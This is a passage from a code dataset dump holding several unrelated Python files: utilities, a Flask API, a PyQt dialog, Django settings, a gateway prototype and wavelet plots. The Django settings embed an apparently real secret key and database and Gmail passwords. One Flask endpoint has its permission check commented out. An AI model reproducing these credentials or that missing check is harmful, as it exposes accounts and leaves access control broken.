dataset[1])\n\n\nmain()\n","sub_path":"optimization.py","file_name":"optimization.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"494165349","text":"#!/usr/bin/env python\nfrom __future__ import absolute_import\nfrom . import date\nimport itertools\nimport re\nimport os\nimport sys\nimport io\nimport codecs\nimport requests\nimport bs4\n\ndef open_py2_py3(f):\n if f == sys.stdin:\n if sys.version_info[0] >= 3:\n f_in = codecs.getreader('utf8')(sys.stdin.detach(), errors='ignore')\n else:\n f_in = sys.stdin\n else:\n if sys.version_info[0] >= 3:\n f_in = open(f, errors='ignore')\n else:\n f_in = open(f)\n return f_in\n\ndef pd_read_csv(f, **args):\n #In python3 pd.read_csv is breaking on utf8 encoding errors\n #Solving this by reading the file into StringIO first and\n #then passing that into the pd.read_csv() method\n import pandas as pd\n import sys\n if sys.version_info[0] < 3:\n from StringIO import StringIO\n else:\n from io import StringIO\n\n f = StringIO(open_py2_py3(f).read())\n return pd.read_csv(f, **args)\n\ndef df_to_bytestrings(df):\n #avoid bug where pandas applymap() turns length 0 dataframe into a series\n if len(df) == 0:\n return df\n else:\n #convert the columns as well\n df.columns = [to_bytestring(c) for c in df.columns]\n return df.applymap(to_bytestring)\n\ndef to_bytestring(obj):\n \"\"\"avoid encoding errors when writing!\"\"\"\n if isinstance(obj, str):\n return unicode(obj, errors=\"ignore\").encode(\"ascii\",\"ignore\")\n elif isinstance(obj, unicode):\n return obj.encode(\"ascii\",\"ignore\")\n elif isinstance(obj, list):\n return str([to_bytestring(e) for e in obj])\n else:\n return obj\n\ndef to_days(dt_str):\n if dt_str == \"\": return \"\"\n return date.Date(dt_str).to_days()\n\ndef to_years(dt_str):\n if dt_str == \"\": return \"\"\n return date.Date(dt_str).to_years()\n\nclass GroupBy:\n def __init__(self, list_of_inputs, key, value=None):\n self.key = key\n if (not value):\n self.value = lambda x: x\n else:\n self.value = value\n self.dictionary = {}\n self.update(list_of_inputs)\n def update(self, l):\n for x in l:\n k = self.key(x)\n v = self.value(x)\n self.dictionary[k] = self[k] + [v]\n return self\n def __setitem__(self, key, value):\n raise Exception(\"Can't set counter items\")\n def __getitem__(self, x):\n if x in self.dictionary:\n return self.dictionary[x]\n else:\n return []\n def __str__(self):\n return self.dictionary.__str__()\n def keys(self):\n return self.dictionary.keys()\n def values(self):\n return self.dictionary.values()\n def items(self):\n return self.dictionary.items()\n\ndef is_int(var):\n if sys.version_info[0] >= 3:\n return isinstance(var, int)\n else:\n return isinstance( var, ( int, long ) )\n\ndef str_is_int(var):\n # if not isinstance(var, str) and np.isnan(var):\n # return False\n if re.findall(\"^\\d+$\",var):\n return True\n else:\n return False\n\ndef str_is_float(var):\n try:\n f = float(var)\n # if np.isnan(f):\n # return False\n return True\n except:\n return False\n\ndef md5hash(s):\n import md5\n return md5.md5(s).hexdigest()\n\ndef rand():\n import random\n return str(round(random.random(),4))\n\ndef utf8_string(s):\n if sys.version_info[0] >= 3:\n #http://stackoverflow.com/questions/34869889/what-is-the-proper-way-to-determine-if-an-object-is-a-bytes-like-object-in-pytho\n if isinstance(s,str):\n return s\n else:\n return s.decode()\n return str(s, \"utf-8\")\n elif isinstance(s, str):\n return s.decode(\"utf-8\",\"ignore\").encode(\"utf-8\",\"ignore\")\n elif isinstance(s, unicode):\n return s.encode(\"utf-8\",\"ignore\")\n else:\n raise\n\ndef fix_broken_pipe():\n #following two lines solve 'Broken pipe' error when piping\n #script output into head\n from signal import signal, SIGPIPE, SIG_DFL\n signal(SIGPIPE,SIG_DFL)\n\ndef pairwise(iterable):\n \"s -> (s0,s1), (s1,s2), (s2, s3), ...\"\n a, b = itertools.tee(iterable)\n next(b, None)\n if (sys.version_info[0] >= 3):\n zip_fn = zip\n else:\n zip_fn = itertools.izip(a,b)\n return zip_fn(a,b)\n\ndef threewise(iterable):\n \"\"\"s -> (None, s0, s1), (s0, s1, s2), ... (sn-1, sn, None)\n example:\n for (last, cur, next) in threewise(l):\n \"\"\"\n a, b, c = itertools.tee(iterable,3)\n def prepend(val, l):\n yield val\n for i in l: yield i\n def postpend(val, l):\n for i in l: yield i\n yield val\n next(c,None)\n if (sys.version_info[0] >= 3):\n zip_fn = zip\n else:\n zip_fn = itertools.izip\n\n for _xa, _xb, _xc in zip_fn(prepend(None,a), b, postpend(None,c)):\n yield (_xa, _xb, _xc)\n\ndef terminal_size():\n try:\n columns = os.popen('tput cols').read().split()[0]\n return int(columns)\n except:\n return None\n\ndef lines2less(lines):\n \"\"\"\n input: lines = list / iterator of strings\n eg: lines = [\"This is the first line\", \"This is the second line\"]\n\n output: print those lines to stdout if the output is short + narrow\n otherwise print the lines to less\n \"\"\"\n lines = iter(lines) #cast list to iterator\n\n #print output to stdout if small, otherwise to less\n has_term = True\n terminal_cols = 100\n try:\n terminal_cols = terminal_size()\n except:\n #getting terminal info failed -- maybe it's a\n #weird situation like running through cron\n has_term = False\n\n MAX_CAT_ROWS = 20 #if there are <= this many rows then print to screen\n\n first_rows = list(itertools.islice(lines,0,MAX_CAT_ROWS))\n wide = any(len(l) > terminal_cols for l in first_rows)\n\n use_less = False\n if has_term and (wide or len(first_rows) == MAX_CAT_ROWS):\n use_less = True\n\n lines = itertools.chain(first_rows, lines)\n if sys.version_info[0] >= 3:\n map_fn = map\n else:\n map_fn = itertools.imap\n lines = map_fn(lambda x: x + '\\n', lines)\n\n if use_less:\n lesspager(lines)\n else:\n for l in lines:\n sys.stdout.write(l)\n\n\ndef lesspager(lines):\n \"\"\"\n Use for streaming writes to a less process\n Taken from pydoc.pipepager:\n /usr/lib/python2.7/pydoc.py\n and\n /usr/lib/python3.5/pydoc.py\n \"\"\"\n cmd = \"less -S\"\n if sys.version_info[0] >= 3:\n \"\"\"Page through text by feeding it to another program.\"\"\"\n import subprocess\n proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE)\n try:\n with io.TextIOWrapper(proc.stdin, errors='backslashreplace') as pipe:\n try:\n for l in lines:\n pipe.write(l)\n except KeyboardInterrupt:\n # We've hereby abandoned whatever text hasn't been written,\n # but the pager is still in control of the terminal.\n pass\n except OSError:\n pass # Ignore broken pipes caused by quitting the pager program.\n while True:\n try:\n proc.wait()\n break\n except KeyboardInterrupt:\n # Ignore ctl-c like the pager itself does. Otherwise the pager is\n # left running and the terminal is in raw mode and unusable.\n pass\n\n else:\n proc = os.popen(cmd, 'w')\n try:\n for l in lines:\n proc.write(l)\n except IOError:\n proc.close()\n sys.exit()\n\ndef argmax(l,f=None):\n \"\"\"http://stackoverflow.com/questions/5098580/implementing-argmax-in-python\"\"\"\n if f:\n l = [f(i) for i in l]\n return max(enumerate(l), key=lambda x:x[1])[0]\n\n#website functions\ndef html_to_soup(html):\n if isinstance(html, str):\n html = html.decode(\"utf-8\",\"ignore\")\n try:\n soup = bs4.BeautifulSoup(html, \"lxml\")\n except:\n soup = bs4.BeautifulSoup(html, \"html.parser\")\n return soup\n\ndef url_to_soup(url, js=False, encoding=None):\n html = _get_webpage(url, js, encoding)\n return html_to_soup(html)\n\ndef _get_webpage(url, js=False, encoding = None):\n if js:\n return _get_webpage_with_js(url)\n else:\n return _get_webpage_static(url, encoding)\n\ndef _get_webpage_with_js(url):\n with open_driver() as driver:\n driver.get(url)\n wait_until_stable(driver)\n return driver.page_source\n\ndef _get_webpage_static(url, encoding=None):\n if not url.startswith(\"http\"):\n url = \"http://\" + url\n headers = {'User-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0'}\n s = requests.Session()\n RETRIES = 5\n for i in range(RETRIES):\n try:\n out = s.get(url, headers=headers, timeout=(10,10))\n if encoding:\n out.encoding = encoding\n return out.text\n except (requests.exceptions.RequestException, requests.Timeout, requests.exceptions.ReadTimeout) as e:\n if i < (RETRIES - 1):\n continue\n else:\n raise e\n\n\ndef run(cmd):\n import subprocess\n pipes = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n stdout, stderr = pipes.communicate()\n return_code = pipes.returncode\n return stdout, stderr, return_code\n","sub_path":"jtutils.py","file_name":"jtutils.py","file_ext":"py","file_size_in_byte":9444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"410043016","text":"# -*- coding: utf-8 -*-\n# circle : challenge circle, a group people who challege a rut together\n\nfrom flask import request, g, jsonify, abort\nfrom ..models import Circles\nfrom . import db, rest, auth, PER_PAGE\n\n\n@rest.route('/circles', methods=['GET'])\n@auth.login_required\ndef get_circles():\n # get request params\n area = request.args.get('area', '').strip()\n # query\n query = Circles.query.filter(Circles.disabled == None)\n if area:\n if area == \"[]\":\n query = query.filter_by(facilitator=g.user)\n else:\n query = query.filter(Circles.address.contains(area))\n # pagination\n page = request.args.get('page', 0, type=int)\n per_page = request.args.get('perPage', PER_PAGE, type=int)\n circles = query.order_by(Circles.timestamp.desc())\\\n .offset(page*per_page).limit(per_page)\n circle_dict = {\n 'circles': [c.to_dict() for c in circles],\n 'circlecount': query.count()\n }\n return jsonify(circle_dict)\n\n\n@rest.route('/circles', methods=['POST'])\n@auth.login_required\ndef new_circle():\n name = request.json.get('name', '').strip()\n address = request.json.get('address', '').strip()\n time = request.json.get('time', '').strip()\n if not (name and address and time):\n abort(403)\n note = request.json.get('note', '').strip()\n user = g.user\n circle = Circles(\n name=name,\n address=address,\n time=time,\n note=note,\n facilitator=user\n )\n db.session.add(circle)\n db.session.commit()\n circle_dict = circle.to_dict()\n return jsonify(circle_dict)\n\n\n@rest.route('/circles/', methods=['PUT'])\n@auth.login_required\ndef edit_circle(circleid):\n circle = Circles.query.get_or_404(circleid)\n user = g.user\n if circle.facilitator != user and user.role.duty != 'Admin':\n abort(403)\n # get data\n name = request.json.get('name', '').strip()\n address = request.json.get('address', '').strip()\n time = request.json.get('time', '').strip()\n if not (name and address and time):\n abort(403)\n note = request.json.get('note', '').strip()\n circle.name = name\n circle.address = address\n circle.time = time\n circle.note = note\n db.session.add(circle)\n db.session.commit()\n return jsonify(circle.to_dict())\n\n\n@rest.route('/circles/', methods=['DELETE'])\n@auth.login_required\ndef del_circle(circleid):\n circle = Circles.query.get_or_404(circleid)\n user = g.user\n if circle.facilitator != user and user.role.duty != 'Admin':\n abort(403)\n db.session.delete(circle)\n db.session.commit()\n return jsonify('Deleted')\n\n\n@rest.route('/circles//disabled', methods=['PATCH'])\n@auth.login_required\ndef disable_circle(circleid):\n circle = Circles.query.get_or_404(circleid)\n # user = g.user\n # if circle.facilitator != user and user.role.duty != 'Admin':\n # abort(403)\n # dis_or_enb = request.json.get('disbaled', True)\n circle.disabled = True # dis_or_enb\n db.session.add(circle)\n db.session.commit()\n return jsonify(circle.disabled)\n\n\n@rest.route('/circles//part', methods=['GET'])\n@auth.login_required\ndef check_participate(circleid):\n circle = Circles.query.get_or_404(circleid)\n user = g.user\n participating = 'Cancle' if user.parting(circle) else 'Participate'\n return jsonify(participating)\n\n\n@rest.route('/circles//participates', methods=['GET'])\n@auth.login_required\ndef get_who_participate_circle(circleid):\n circle = Circles.query.get_or_404(circleid)\n participators = circle.participators\n part_list = [p.to_simple_dict() for p in participators]\n part_dict = {\n 'participators': part_list,\n 'count': participators.count()\n }\n return jsonify(part_dict)\n\n\n@rest.route('/circles//participates', methods=['PATCH'])\n@auth.login_required\ndef participate_circle(circleid):\n circle = Circles.query.get_or_404(circleid)\n user = g.user\n user.participate(circle)\n return jsonify('Cancle')\n\n\n@rest.route('/circles//participates', methods=['DELETE'])\n@auth.login_required\ndef unparticipate_circle(circleid):\n circle = Circles.query.get_or_404(circleid)\n user = g.user\n user.unparticipate(circle)\n return jsonify('Paticipate')\n","sub_path":"app/api/circle.py","file_name":"circle.py","file_ext":"py","file_size_in_byte":4338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"502294258","text":"from PyQt5 import QtCore, QtWidgets\nfrom models.alarm_model import AlarmModel\nfrom base_classes.add_alarm_base import Ui_Dialog\n\n\nclass AddAlarm(QtWidgets.QDialog, Ui_Dialog):\n\n def __init__(self, parent=None, **kwargs):\n super(AddAlarm, self).__init__(parent)\n self.setupUi(self)\n self.delete = False\n self.buttonBox.rejected.connect(self.reject)\n self.buttonBox.accepted.connect(self.accept)\n self.btnDelete.clicked.connect(self.on_click)\n self.accepted.connect(self.save)\n self.alarm = None\n\n if 'alarm_clock' in kwargs:\n self.txtName.setPlainText(kwargs['alarm_clock'].name)\n self.teAlarmTime.setTime(kwargs['alarm_clock'].time())\n\n @QtCore.pyqtSlot()\n def cancel(self):\n self.close()\n\n @QtCore.pyqtSlot()\n def on_click(self):\n self.delete = True\n self.close()\n\n @QtCore.pyqtSlot()\n def save(self):\n hour = self.teAlarmTime.time().hour()\n minute = self.teAlarmTime.time().minute()\n self.alarm = AlarmModel(name=self.txtName.toPlainText(), set_hour=hour, set_minute=minute)\n","sub_path":"views/add_alarm_view.py","file_name":"add_alarm_view.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"622872117","text":"\"\"\"\nDjango settings for serior project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.7/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.7/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n\nSITE_ID = 1\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '00v+1yq-0ro69v5w8x97ud-z)=i7jzqmyeflf##l_&d275-%-j'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = False\n\nTEMPLATE_DEBUG = DEBUG\n\n# Enable debug for only selected hosts\nif DEBUG:\n ALLOWED_HOSTS = []\nelse:\n ALLOWED_HOSTS = ['*']\n\n# Application definition\n\nDEFAULT_APPS = (\n\t'bootstrap3',\n\t'django_admin_bootstrapped',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n)\n\nTHIRDPARTY_APPS = (\n 'redactor',\n 'widget_tweaks',\n 'captcha',\n 'sorl.thumbnail',\n)\n\nLOCAL_APPS = (\n 'fire_detection',\n)\n\nINSTALLED_APPS = DEFAULT_APPS + THIRDPARTY_APPS + LOCAL_APPS\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n)\n\nROOT_URLCONF = 'serior.urls'\n\nWSGI_APPLICATION = 'serior.wsgi.application'\n\n# Database\n# https://docs.djangoproject.com/en/1.7/ref/settings/#databases\n\nDATABASES = {\n 'default': { # you can change the backend to any django supported\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'serior',\n 'USER': 'EGP34_mangante',\n 'PASSWORD': '53914017v',\n 'HOST': 'localhost',\n 'PORT': '',\n }\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.7/topics/i18n/\n\nLANGUAGE_CODE = 'es-ES'\n\nTIME_ZONE = 'Europe/Madrid'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = False\n\n\n# URL prefix for static files.\n# Example: \"http://media.lawrence.com/static/\"\nSTATIC_URL = \"/static/\"\n\nSTATIC_URL = \"/static/\"\n\nSTATIC_ROOT = '/var/www/serior.com/public_html/serior/static/'\n\t\nMEDIA_URL = '/media/'\n\nMEDIA_ROOT = '/var/www/serior.com/public_html/serior/media/'\n\t\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n \t\t\t'django.contrib.auth.context_processors.auth',\n\t\t\t 'django.core.context_processors.debug',\n\t\t\t 'django.core.context_processors.i18n',\n\t\t\t 'django.core.context_processors.media',\n\t\t\t 'django.core.context_processors.request',\n\t\t\t 'django.core.context_processors.static',\n\t\t\t 'django.core.context_processors.tz',\n\t\t\t 'django.contrib.messages.context_processors.messages',\n\t\t\t 'fire_detection.context_processors.custom_proc'\n ],\n },\n },\n]\n\n# Correo GMAIL\nEMAIL_USE_TLS = True\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_HOST_USER = 'ingenieria.serior@gmail.com'\nEMAIL_HOST_PASSWORD = 'ingenier'\nEMAIL_PORT = 587\n\n# Thumbnail Configuration\n\nTHUMBNAIL_FORMAT = 'PNG'\n\nTHUMBNAIL_DEBUG = True\n\n# Caching\n\nCACHES = {\n \t'default': {\n \t'BACKEND': 'django.core.cache.backends.db.DatabaseCache',\n \t'LOCATION': 'cache',\n \t}\n}\n\nSESSION_ENGINE = 'django.contrib.sessions.backends.cached_db'\n\t\nSESSION_EXPIRE_AT_BROWSER_CLOSE = True\n\n# Editor de textos WYSIWYG\nREDACTOR_OPTIONS = {'lang': 'es', 'focus': True, 'plugins': ['table', 'video', 'fullscreen', 'fontsize', 'fontfamily', 'fontcolor']}\nREDACTOR_UPLOAD = 'uploads/'\n\n","sub_path":"serior/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"132738818","text":"'''\nAuthor: Industry 4.0 Python Collab Group\n - Thaddeus Treloar\nVersion: 0.1\nPhase: Full python prototype/psuedo code\n'''\n\nimport threading, queue\nfrom datetime import datetime\n\nclass failedPacketObject:\n\n def __init__(self, packet, timestamp, retry=0):\n\n self.packet = packet\n self.timestamp = timestamp\n self.retryAttempt = retry\n\n def __repr__(self):\n\n return [self.packet, self.timestamp, self.retryAttempt]\n \n def incrementRetry(self):\n\n self.retryAttempt += 1\n\n def timeSinceCreation(self):\n\n return datetime.now() - self.timestamp\n \n\nglobal __SETTINGS\n__SETTINGS = {\n \"FAILED_PACKET_RETRY_INTERVAL\" : 60,\n \"FAILED_PACKET_RETRY_LIMIT\" : 5,\n \"LOG_DIR\" : \"/var/log/gateway\"\n}\n\ndef sendPacket(packet):\n\n packetStatus = \"\"\n\n if packetStatus == False:\n return packetStatus\n\n else:\n return True\n\ndef parsePacket(input):\n\n packetJson = \"\"\n\n return packetJson\n\ndef listenClient():\n\n clientPacket = \"\"\n clientErr = \"\"\n\n if clientErr == \"\":\n return clientPacket, None\n\n else:\n return None, clientErr\n\ndef failedPacketQueueThreadWorker():\n\n failedPacketDB = []\n\n while True:\n\n currentFailedPacket = failedPacketQueue.get()\n\n sendErr = sendPacket(currentFailedPacket[1])\n\n if sendErr == False:\n\n failedPacketDB.append(failedPacketObject(currentFailedPacket[1], currentFailedPacket[0], 1))\n\n '''\n log send failure\n '''\n\n sendErr = None\n\n for i in failedPacketDB:\n\n if datetime.now() - i.timestamp > __SETTINGS[\"FAILED_PACKET_RETRY_INTERVAL\"]:\n\n sendErr = sendPacket(i.packet)\n\n if sendErr == False:\n i.incrementRetry()\n \n if i.retryAttempt >= 5:\n failedPacketDB.remove(failedPacketDB.index(i))\n\n '''\n log dropped packet due to too many retry failures\n '''\n else:\n\n failedPacketDB.remove(failedPacketDB.index(i))\n '''\n log that packet was retryed successfully\n '''\n else:\n continue\n \n\ndef listenThreadWorker():\n\n clientPacket, listenErr = listenClient()\n\n if listenErr == None:\n return \n \n else:\n clientPacketJson = parsePacket(clientPacket)\n\n sendErr = sendPacket(clientPacketJson)\n\n if sendErr == False:\n failedPacketQueue.put((datetime.now(), clientPacketJson))\n\n '''\n log send failure\n '''\n\n else:\n\n '''\n log success\n '''\n\n return\n\n\ndef init():\n\n initErr = \"\"\n\n global failedPacketQueue\n failedPacketQueue = queue.Queue()\n # add initialisation of __SETTINGS\n\n try:\n\n f = open(__SETTINGS[\"LOG_DIR\"] + \"send-error.log\", \"r\")\n f.close()\n \n except(FileNotFoundError):\n\n f = open(__SETTINGS[\"LOG_DIR\"] + \"send-error.log\", \"w\")\n f.write(\"\")\n f.close()\n\n if initErr == True:\n\n return False, initErr\n\n return True, None\n\n# Main loop\ndef main(): \n # Ignore unused error until log implementation\n initStatus, initErr = init()\n\n if initStatus == True:\n\n threadList = []\n\n failedPacketThread = threading.Thread(name=\"failedPacket\", target=\"failedPacketThreadWorker\", args=None)\n threadList.append(failedPacketQueueThreadWorker)\n failedPacketThread.start()\n\n while True:\n\n listenThread1 = threading.Thread(name=\"listen1\", target=\"listenThreadWorker\", args=None)\n listenThread2 = threading.Thread(name=\"listen2\", target=\"listenThreadWorker\", args=None)\n listenThread3 = threading.Thread(name=\"listen3\", target=\"listenThreadWorker\", args=None)\n listenThread4 = threading.Thread(name=\"listen4\", target=\"listenThreadWorker\", args=None)\n\n threadList.append(listenThread1)\n threadList.append(listenThread2)\n threadList.append(listenThread3)\n threadList.append(listenThread4)\n\n listenThread1.start()\n listenThread2.start()\n listenThread3.start()\n listenThread4.start()\n\n listenThread1.join()\n listenThread2.join()\n listenThread3.join()\n listenThread4.join()\n\n failedPacketThread.join()\n\n else:\n '''\n # need to add logging either files or \n log = open(\"/var/log/gateway/main.log\", \"w+\")\n log.write(initErr)\n log.close()\n '''\n\n exit(1)\n \nexit(0)","sub_path":"gateway/gateway-v-0-1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"361137849","text":"from __future__ import print_function\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import gridspec\n\nimport numpy as np\nimport wavelet\nimport scipy.ndimage\nimport scipy.signal\n\n\ndef make_edges(x, y, log_x=False, log_y=False):\n\n if log_x:\n x = np.log(x)\n\n if log_y:\n y = np.log(y)\n\n dx = np.diff(x[:2])[0]\n dy = np.diff(y[:2])[0]\n x_edges = np.r_[x, x[-1] + dx] - 0.5 * dx\n y_edges = np.r_[y, y[-1] + dy] - 0.5 * dy\n\n if log_x:\n x_edges = np.exp(x_edges)\n\n if log_y:\n y_edges = np.exp(y_edges)\n\n return x_edges, y_edges\n\n\ndef pulse_filtered(t, x, fs, mother1, mother2, fig_filename):\n\n dt = t[1] - t[0]\n\n min_freq = 10 ** -1\n max_freq = 10 ** 2\n nfreq = 100\n freqs = np.logspace(np.log10(min_freq), np.log10(max_freq), nfreq, endpoint=True)\n\n min_cycles = 2\n\n titles = ['Amplitudes', 'Pulse-Clipped Amplitudes',\n 'Synchrosqueezed Amplitudes', 'Synchrosqueezed Pulse-Clipped Amplitudes']\n\n # compute wavelet transforms\n w = []\n amps = []\n vmax = -np.inf\n for i, (f, mother, c) in enumerate(zip([None, None, freqs, freqs],\n [mother1, mother2, mother1, mother2],\n [0, min_cycles, 0, min_cycles])):\n scales = mother.freq_to_scale(freqs)\n cwt = wavelet.cwt(x, dt, scales, mother, freqs=f, min_cycles=c)\n amp = np.abs(cwt)\n w.append(cwt)\n amps.append(amp)\n vmax = max(vmax, np.max(amp))\n vmax *= 0.5\n\n # create figure and axes\n fig = plt.figure(figsize=(12, 10))\n gs = gridspec.GridSpec(5, 2, width_ratios=[1, 0.2], height_ratios=[1, ] + [2, ] * 4)\n ax = np.zeros((5, 2), dtype=np.object)\n ax[0, 0] = fig.add_subplot(gs[0, 0])\n ax[1, 0] = fig.add_subplot(gs[1, 0])\n ax[1, 1] = fig.add_subplot(gs[1, 1], sharey=ax[1, 0])\n for i in range(3):\n ax[i + 2, 0] = fig.add_subplot(gs[i + 2, 0], sharey=ax[1, 0])\n ax[i + 2, 1] = fig.add_subplot(gs[i + 2, 1], sharey=ax[1, 0])\n\n # convenience axes variables\n ax_sig = ax[0, 0]\n ax_w = ax[1:, 0]\n ax_s = ax[1:, 1]\n\n # plot signal\n ax_sig.plot(t, x, 'k')\n ax_sig.set_ylim(-0.2, 1.2)\n ax_sig.set_yticks([0, 0.5, 1])\n ax_sig.tick_params(which='both', direction='out')\n ax_sig.set_xlim(-1, 11)\n ax_sig.set_xticklabels([])\n ax_sig.xaxis.set_ticks_position('bottom')\n ax_sig.yaxis.set_ticks_position('left')\n\n # pcolormesh grid coordinates\n t_grid, f_grid = np.meshgrid(*make_edges(t, freqs, log_y=True))\n\n # iterate over each amplitude type\n i = -1\n for pi, (amp, title) in enumerate(zip(amps, titles)):\n\n i += 1\n\n # plot amplitudes\n ax_w[i].pcolormesh(t_grid, f_grid, amp, cmap='gray_r', vmin=0, vmax=vmax * (1 - 0.5 * (pi < 2)))\n ax_w[i].set_yscale('log')\n ax_w[i].invert_yaxis()\n ax_w[i].set_title('({}) {}'.format(chr(i + ord('a')), title))\n\n # plot time-averages\n mu = np.sqrt(np.mean(amp ** 2, axis=1))\n ax_s[i].plot(mu, freqs, c='k', lw=2, zorder=2)\n\n # setup axes ranges and ticks\n ax_w[i].tick_params(which='both', direction='out')\n ax_s[i].tick_params(which='both', direction='out')\n ax_s[i].set_xscale('log')\n ax_s[i].set_xlim(1e-1, 1e2)\n ax_w[i].xaxis.set_ticks_position('bottom')\n ax_w[i].yaxis.set_ticks_position('left')\n\n # plot true frequencies\n for f in fs:\n ax_w[i].axhline(f, lw=1, color=(1, 0, 0), alpha=0.15, zorder=3)\n ax_s[i].axhline(f, lw=1, color=(1, 0, 0), alpha=0.15, zorder=3)\n\n ax_w[i].set_ylabel(r'Frequency $(\\mathsf{T}^{-1})$')\n ax_w[i].set_xlim(ax[0, 0].get_xlim())\n\n # tick labels\n for i in range(3):\n ax_w[i].set_xticklabels([])\n ax_s[i].set_xticklabels([])\n\n ax_sig.set_ylabel('Signal $(\\mathsf{X})$')\n ax_w[-1].set_xlabel(r'Time $(\\mathsf{T})$')\n ax_s[-1].set_xlabel('Global Wavelet\\nSpectrum RMS $(\\mathsf{X})$')\n\n fig.tight_layout(pad=0.5)\n fig.savefig(fig_filename)\n\n\ndef groups_data():\n\n nsamp = 2**14\n t = np.linspace(0, 20, nsamp) - 5\n x = np.zeros_like(t)\n\n np.random.seed(1)\n\n smls = []\n bigs = []\n\n smls_height = 1\n bigs_height = 1\n smls_width = -1e4\n bigs_width = -5e1\n\n smls_sep = 0.25\n smls_half_num = 2\n\n # smls_locs = np.arange(1, 10, dtype=float)\n smls_locs = []\n # smls_locs += [1]\n # smls_locs += [3]\n smls_locs += [5]\n smls_locs += [7]\n # smls_locs += [9]\n\n # smls_locs += 0.1 * np.random.randn(len(smls_locs))\n\n bigs += [1]\n bigs += [3]\n # bigs += [5]\n # bigs += [7]\n bigs += [9]\n\n # add small events\n for loc in smls_locs:\n smls_real_locs = np.arange(-smls_half_num, smls_half_num + 1) * smls_sep + loc\n # smls_real_locs += 0.01 * np.random.randn(len(smls_real_locs))\n smls += list(smls_real_locs)\n ws = list(smls_width * np.ones_like(smls))\n hs = list(smls_height * np.ones_like(smls))\n\n # add big events\n ls = smls + bigs\n ws += [bigs_width, ] * len(bigs)\n hs += [bigs_height, ] * len(bigs)\n\n # create true frequencies for horizontal lines\n fs = []\n if len(smls) > 0:\n fs += [1.0 / smls_sep]\n if len(bigs) > 0:\n fs += [0.5]\n\n # render events into signal\n for l, w, h in zip(ls, ws, hs):\n x += h * np.exp(w * (t - l)**2)\n\n return t, x, fs\n\n\ndef chirp_thresh_data():\n\n nsamp = 2**14\n t = np.linspace(0, 20, nsamp) - 5\n\n fs = [1, 10]\n x = 1.0 * (scipy.signal.chirp(t, fs[0], fs[1], 10) > 0.9)\n x[(t < -0.1) | (t > 10)] = 0\n\n return t, x, fs\n\n\ndef sqr_wave_data(thresh):\n nsamp = 2**14\n t = np.linspace(0, 20, nsamp) - 5\n fs = [1]\n x = np.sin(fs[0] * 2 * np.pi * t - 0.5 * np.pi) > thresh\n return t, x, fs\n\n\ndef main():\n\n mother = wavelet.Morse(beta=2, gam=3)\n # mother = wavelet.Morlet(omega0=3)\n # mother = wavelet.Paul(m=4)\n\n data_funcs = [\n (groups_data, 'groups'),\n # (chirp_thresh_data, 'chirp_thresh'),\n # (lambda: sqr_wave_data(0), 'sqr'),\n # (lambda: sqr_wave_data(0.95), 'sqr_thin'),\n ]\n for func, fname in data_funcs:\n t, x, fs = func()\n pulse_filtered(t, x, fs, mother, mother, 'images/pulse_{}.png'.format(fname))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":6328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"27339535","text":"#!/usr/bin/env python\n\nimport math\nfrom math import sin, cos, pi\nimport numpy as np\nfrom crazyflieParser import CrazyflieParser\n\ndef eight_traj():\n t = np.linspace(0,2*pi,101)\n data = np.array([[0],[1],[2]])\n for i in range(1,101):\n y = cos(t[i])\n x = sin(t[i])\n current = np.array([[x],[y],[2*(1+0.15*(cos(t[i])-1)+0.15*sin(t[i]))]])\n data = np.append(data,current,axis =1)\n for i in range(101):\n y = 2 - cos(t[i])\n x = sin(t[i])\n current = np.array([[x],[y],[2*(1-0.15*(cos(t[i])-1)+0.15*sin(t[i]))]])\n data = np.append(data,current,axis =1)\n data = 